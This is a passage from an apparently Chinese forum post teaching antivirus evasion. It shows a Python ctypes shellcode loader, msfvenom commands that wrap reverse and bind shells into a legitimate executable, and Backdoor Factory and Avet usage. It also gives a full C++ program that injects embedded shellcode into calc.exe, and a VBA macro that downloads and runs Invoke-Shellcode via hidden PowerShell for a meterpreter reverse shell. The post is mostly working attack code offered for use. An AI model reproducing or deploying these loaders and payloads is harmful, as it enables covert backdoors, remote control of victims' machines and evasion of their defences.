ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
  
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
  
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
  
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

还有一款编码的工具也好用,安利一下:

那么这是利用语言对shellcode编码,也可以选择生成的时候对shellcode编码。

举例msfvenom:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

使用模板和编码器 for example:


msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe 


msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

Veil中的加密:

schelper:

Obfuscation:

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

关于shellcode编码后执行就点到这里,其他语言也是大同小异,就不多列举了。

上面是一些编码加密shellcode,下面就看看shellcode注入的技巧方式。


B)shellcode注入混淆

大多数注入免杀还将shellcode进行了拆分。

拆分这两个字也很好理解,字面的意思上和各位php一句话木马免杀中大体一样,shellcode也好比我们php木马中需要拆分的危险函数名。

shellcode拆分可以把原本特征明显的程序中shellcode进行位置替换,最简单的比如新增加区段填入shellcode并将入口点jmp到shellcode地址最后再跳回原程序开头,

也可以将shellcode分段布在各个code cave中再分段执行,原理可以参考egg hunt shellcode的中的Omelet Shellcode。

举一些注入例子:

BDF:

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths:  410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves: 
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

BDF中-F参数实现多裂缝注入。

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

shellter:

A 选项增加区段注入

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh 

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
   shellcode = buf;
               ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

除了也可以手动整个进程注入,起一个正常进程注入shellcode

例子:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] =
        "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
        "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
        "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
        "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
        "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
        "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
        "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
        "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
        "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
        "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
        "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
        "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
        "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
        "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
        "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
        "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
        "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
        "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
        "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
        "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
        "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
        "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
        "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
        "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
        "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";


    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;

        lpMalwareBaseAddr = shellcode;

        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\\calc.exe");
        printf("Injection program Name:%S\r\n", Cappname);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }

        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }

        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }

    void help(char* proc)
    {
        printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
    }

    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }



注入就举例到这里,思考下如果是hook函数的检测怎么替换呢,可以进行函数替换,比如win api中可以替换VirtuallAlloc的函数就很多:

0x03 技巧组合

上面说了一些技巧,无论是分离中加载器运行shellcode、白利用运行恶意程序,还是将shellcode编码、加密、注入,对免杀都会有一定效果,单一使用某个技巧的话或多或少会有一定的缺陷。

那么将各个技巧结合起来达到最好的效果是我们需要取思考的事情

举个好用的例子:


https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

这是就是使用shellcode调用graeber的VBA宏,在内存中执行powershell(可以使用编码),达到后门持久化


Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from [url]https://192.168.30.129:443/INITM[/url]
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

技巧方法是死的,思路是活,在实际环境下也需要各位师傅将多个技巧结合灵巧的思路达到想要的成果。

文末推个个人博客,欢迎友链

https://www.cnblogs.com/-qing-/

完。

3 Likes